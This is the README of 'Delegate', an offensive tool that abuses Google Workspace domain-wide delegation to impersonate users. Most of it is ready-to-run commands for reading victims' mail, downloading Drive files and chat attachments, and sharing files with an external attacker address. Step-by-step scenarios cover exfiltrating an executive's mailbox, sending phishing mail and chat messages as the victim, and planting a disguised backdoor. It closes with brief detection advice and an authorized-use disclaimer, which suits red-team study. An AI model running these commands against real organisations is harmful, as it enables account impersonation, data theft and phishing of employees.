Domain-Wide Delegation Abuse Tool for Security Testing
Version 3.0.0 | By @lutzenfried
python delegate.py -k <SERVICE_ACCOUNT_KEY> -i <EMAIL_TO_IMPERSONATE> -m <MODULE> -a <ACTION> [OPTIONS]| Parameter | Short | Description |
|---|---|---|
--key |
-k |
Service account key JSON file path |
--impersonate |
-i |
Email address to impersonate |
--module |
-m |
Module: gmail, drive, calendar, chat |
--action |
-a |
Action to perform (see module sections) |
| Action | Description | Required Parameters |
|---|---|---|
list |
List emails (subject + sender) | None |
read |
Read full email contents | None |
listFolders |
List all Gmail labels/folders | None |
listFromLabel |
List emails from specific label | --label |
readFromLabel |
Read emails from specific label | --label |
send |
Send an email | --recipient, --subject, --content |
downloadAttachments |
Download all attachments | None |
python delegate.py -k sa_key.json -i victim@company.com -m gmail -a listpython delegate.py -k sa_key.json -i victim@company.com -m gmail -a readpython delegate.py -k sa_key.json -i victim@company.com -m gmail -a listFolders# INBOX
python delegate.py -k sa_key.json -i victim@company.com -m gmail -a listFromLabel --label "INBOX"
# SENT
python delegate.py -k sa_key.json -i victim@company.com -m gmail -a listFromLabel --label "SENT"
# IMPORTANT
python delegate.py -k sa_key.json -i victim@company.com -m gmail -a listFromLabel --label "IMPORTANT"python delegate.py -k sa_key.json -i victim@company.com -m gmail -a readFromLabel --label "INBOX"python delegate.py -k sa_key.json -i victim@company.com -m gmail -a send \
--recipient "target@example.com" \
--subject "Important Update" \
--content "This is the email body text"python delegate.py -k sa_key.json -i victim@company.com -m gmail -a downloadAttachmentsCommon Gmail labels:
INBOX- Inbox emailsSENT- Sent emailsDRAFT- Draft emailsTRASH- TrashSPAM- Spam folderIMPORTANT- Important emailsSTARRED- Starred emailsUNREAD- Unread emails
| Action | Description | Required Parameters |
|---|---|---|
listFiles |
List all files and folders | None |
listFolders |
List folders with contents | None |
download |
Download a specific file | --filename |
upload |
Upload a file to Drive | --filepath, --filename, [--foldername] |
modifyPermissions |
Share file with external account | --filename, --external-account |
python delegate.py -k sa_key.json -i victim@company.com -m drive -a listFilespython delegate.py -k sa_key.json -i victim@company.com -m drive -a listFolderspython delegate.py -k sa_key.json -i victim@company.com -m drive -a download \
--filename "Confidential_Report.xlsx"Supported File Types:
- Google Sheets β Exports as
.xlsx - Google Docs β Exports as
.docx - Google Slides β Exports as
.pptx - Binary files β Downloads as-is
# Upload to root
python delegate.py -k sa_key.json -i victim@company.com -m drive -a upload \
--filepath "/path/to/local/file.pdf" \
--filename "uploaded_file.pdf"
# Upload to specific folder
python delegate.py -k sa_key.json -i victim@company.com -m drive -a upload \
--filepath "/path/to/local/file.pdf" \
--filename "uploaded_file.pdf" \
--foldername "Documents"python delegate.py -k sa_key.json -i victim@company.com -m drive -a modifyPermissions \
--filename "Sensitive_Data.xlsx" \
--external-account "attacker@evil.com"Note: This grants write access and sends a notification email.
| Action | Description | Required Parameters |
|---|---|---|
listCalendars |
List all accessible calendars | None |
listEvents |
List upcoming events | [--calendar-id], [--max-results] |
getEventDetails |
Get detailed event information | --event-id, [--calendar-id] |
getAttendees |
List event attendees | --event-id, [--calendar-id] |
createEvent |
Create a new calendar event | --summary, --start-time, --end-time, [--description], [--location], [--attendees] |
listMeetingRecordings |
Find meeting recordings in Drive | [--calendar-id], [--max-results] |
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a listCalendars# From primary calendar (default)
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a listEvents
# From specific calendar with max results
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a listEvents \
--calendar-id "example@group.calendar.google.com" \
--max-results 50python delegate.py -k sa_key.json -i victim@company.com -m calendar -a getEventDetails \
--calendar-id primary \
--event-id "abc123xyz789"python delegate.py -k sa_key.json -i victim@company.com -m calendar -a getAttendees \
--calendar-id primary \
--event-id "abc123xyz789"# Basic event
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a createEvent \
--calendar-id primary \
--summary "Security Review Meeting" \
--start-time "2025-11-15T14:00:00-05:00" \
--end-time "2025-11-15T15:00:00-05:00"
# Event with full details
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a createEvent \
--calendar-id primary \
--summary "Q4 Planning Session" \
--description "Quarterly planning and review" \
--start-time "2025-11-15T14:00:00-05:00" \
--end-time "2025-11-15T16:00:00-05:00" \
--location "Conference Room A" \
--attendees "user1@company.com,user2@company.com,user3@company.com"Time Format: ISO 8601 with timezone
2025-11-15T14:00:00-05:00(EST)2025-11-15T19:00:00+00:00(UTC)2025-11-15T20:00:00+01:00(CET)
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a listMeetingRecordings \
--calendar-id primary \
--max-results 30Note: Searches Drive for video files matching event titles from the last 30 days.
| Action | Description | Required Parameters |
|---|---|---|
listSpaces |
List all accessible Chat spaces | None |
listMessages |
List messages in a space | --space-id, [--max-results] |
readMessages |
Read full message content | --space-id, [--max-results] |
sendMessage |
Send a message to space | --space-id, --text, [--thread-id] |
sendWithAttachment |
Send message with file | --space-id, --text, --filepath, [--thread-id] |
downloadAttachments |
Download all attachments | --space-id, [--max-results] |
getMembers |
List space members | --space-id |
createSpace |
Create a new Chat space | --summary, [--description], [--threaded] |
python delegate.py -k sa_key.json -i victim@company.com -m chat -a listSpacespython delegate.py -k sa_key.json -i victim@company.com -m chat -a listMessages \
--space-id "AAAAAbCdEfG" \
--max-results 100python delegate.py -k sa_key.json -i victim@company.com -m chat -a readMessages \
--space-id "AAAAAbCdEfG" \
--max-results 50# Simple message
python delegate.py -k sa_key.json -i victim@company.com -m chat -a sendMessage \
--space-id "AAAAAbCdEfG" \
--text "Hello team!"
# Reply to thread
python delegate.py -k sa_key.json -i victim@company.com -m chat -a sendMessage \
--space-id "AAAAAbCdEfG" \
--text "Replying to this thread" \
--thread-id "xyz123abc"python delegate.py -k sa_key.json -i victim@company.com -m chat -a sendWithAttachment \
--space-id "AAAAAbCdEfG" \
--text "Please review this document" \
--filepath "/path/to/document.pdf"
# With thread
python delegate.py -k sa_key.json -i victim@company.com -m chat -a sendWithAttachment \
--space-id "AAAAAbCdEfG" \
--text "Updated version attached" \
--filepath "/path/to/file.xlsx" \
--thread-id "xyz123abc"python delegate.py -k sa_key.json -i victim@company.com -m chat -a downloadAttachments \
--space-id "AAAAAbCdEfG" \
--max-results 100Note: Creates a chat_attachments_<SPACE_ID> directory with all downloaded files.
python delegate.py -k sa_key.json -i victim@company.com -m chat -a getMembers \
--space-id "AAAAAbCdEfG"# Basic space
python delegate.py -k sa_key.json -i victim@company.com -m chat -a createSpace \
--summary "Project Alpha"
# Space with description and threading
python delegate.py -k sa_key.json -i victim@company.com -m chat -a createSpace \
--summary "Security Team" \
--description "Internal security discussions" \
--threaded# Step 1: List all folders
python delegate.py -k sa_key.json -i ceo@company.com -m gmail -a listFolders
# Step 2: List emails from INBOX
python delegate.py -k sa_key.json -i ceo@company.com -m gmail -a listFromLabel --label "INBOX"
# Step 3: Read email contents
python delegate.py -k sa_key.json -i ceo@company.com -m gmail -a read
# Step 4: Download all attachments
python delegate.py -k sa_key.json -i ceo@company.com -m gmail -a downloadAttachments# Step 1: List all files
python delegate.py -k sa_key.json -i victim@company.com -m drive -a listFolders
# Step 2: Download sensitive files
python delegate.py -k sa_key.json -i victim@company.com -m drive -a download \
--filename "Q4_Financial_Report.xlsx"
python delegate.py -k sa_key.json -i victim@company.com -m drive -a download \
--filename "Customer_Database.csv"
# Step 3: Share with external account
python delegate.py -k sa_key.json -i victim@company.com -m drive -a modifyPermissions \
--filename "Q4_Financial_Report.xlsx" \
--external-account "attacker@gmail.com"# Step 1: List all calendars
python delegate.py -k sa_key.json -i exec@company.com -m calendar -a listCalendars
# Step 2: List upcoming events
python delegate.py -k sa_key.json -i exec@company.com -m calendar -a listEvents
# Step 3: Get details of specific event
python delegate.py -k sa_key.json -i exec@company.com -m calendar -a getEventDetails \
--calendar-id primary \
--event-id "EVENT_ID_HERE"
# Step 4: Find meeting recordings
python delegate.py -k sa_key.json -i exec@company.com -m calendar -a listMeetingRecordings# Step 1: List all spaces
python delegate.py -k sa_key.json -i user@company.com -m chat -a listSpaces
# Step 2: Get space members
python delegate.py -k sa_key.json -i user@company.com -m chat -a getMembers \
--space-id "SPACE_ID_HERE"
# Step 3: Read messages
python delegate.py -k sa_key.json -i user@company.com -m chat -a readMessages \
--space-id "SPACE_ID_HERE" \
--max-results 200
# Step 4: Download attachments
python delegate.py -k sa_key.json -i user@company.com -m chat -a downloadAttachments \
--space-id "SPACE_ID_HERE"# Step 1: Create calendar event (meeting invite)
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a createEvent \
--calendar-id primary \
--summary "URGENT: Security Training Required" \
--description "Click here to complete mandatory training: https://phishing-site.com" \
--start-time "2025-11-16T09:00:00-05:00" \
--end-time "2025-11-16T10:00:00-05:00" \
--attendees "employee1@company.com,employee2@company.com,employee3@company.com"
# Step 2: Send phishing email
python delegate.py -k sa_key.json -i victim@company.com -m gmail -a send \
--recipient "target@company.com" \
--subject "Password Reset Required" \
--content "Your password will expire in 24 hours. Reset now: https://phishing-site.com"
# Step 3: Send to Chat space
python delegate.py -k sa_key.json -i victim@company.com -m chat -a sendMessage \
--space-id "SPACE_ID_HERE" \
--text "Important: Please complete this security form: https://phishing-site.com"# Step 1: Upload backdoor to Drive
python delegate.py -k sa_key.json -i victim@company.com -m drive -a upload \
--filepath "/path/to/backdoor.exe" \
--filename "System_Update.exe" \
--foldername "Scripts"
# Step 2: Create persistent calendar reminder
python delegate.py -k sa_key.json -i victim@company.com -m calendar -a createEvent \
--calendar-id primary \
--summary "System Maintenance" \
--description "Automated maintenance task" \
--start-time "2025-12-01T02:00:00-05:00" \
--end-time "2025-12-01T03:00:00-05:00"# Set common variables
$KEY = ".\service_account.json"
$USER = "victim@company.com"
# Use variables
python .\delegate.py -k $KEY -i $USER -m gmail -a list
python .\delegate.py -k $KEY -i $USER -m drive -a listFiles
python .\delegate.py -k $KEY -i $USER -m calendar -a listEvents
python .\delegate.py -k $KEY -i $USER -m chat -a listSpaces# Test multiple users
$users = @("user1@company.com", "user2@company.com", "user3@company.com")
foreach ($user in $users) {
Write-Host "[*] Testing: $user" -ForegroundColor Cyan
python .\delegate.py -k $KEY -i $user -m gmail -a listFolders
}For this tool to work, the service account must have domain-wide delegation configured in Google Workspace Admin Console:
- Go to Security β API Controls β Domain-wide Delegation
- Add the service account's Client ID
- Authorize these OAuth scopes:
https://mail.google.com/ https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/chat.spaces
Detection:
- Monitor Google Workspace audit logs for service account activity
- Alert on API calls from unusual IPs
- Track file sharing to external domains
- Monitor bulk downloads
Prevention:
- Limit domain-wide delegation scopes
- Regularly audit service account permissions
- Implement IP restrictions
- Enable advanced protection for high-risk users
- Use context-aware access policies
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is designed for:
- β Authorized penetration testing
- β Security research in lab environments
- β Red team exercises with permission
- β Security awareness training
Never use without explicit written authorization!
Unauthorized access to computer systems is illegal under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- Similar laws worldwide
- GitHub: https://github.com/lutzenfried/Delegate
- Blog Post: https://medium.com/@lutzenfried/gcp-domain-wide-delegation-abuses
- Google Docs: https://developers.google.com/identity/protocols/oauth2/service-account
| Module | Most Common Actions |
|---|---|
| Gmail | list, read, downloadAttachments |
| Drive | listFolders, download, modifyPermissions |
| Calendar | listEvents, getEventDetails, createEvent |
| Chat | listSpaces, readMessages, downloadAttachments |
Version 3.0.0 | Last Updated: 2025-10-16 | Author: @lutzenfried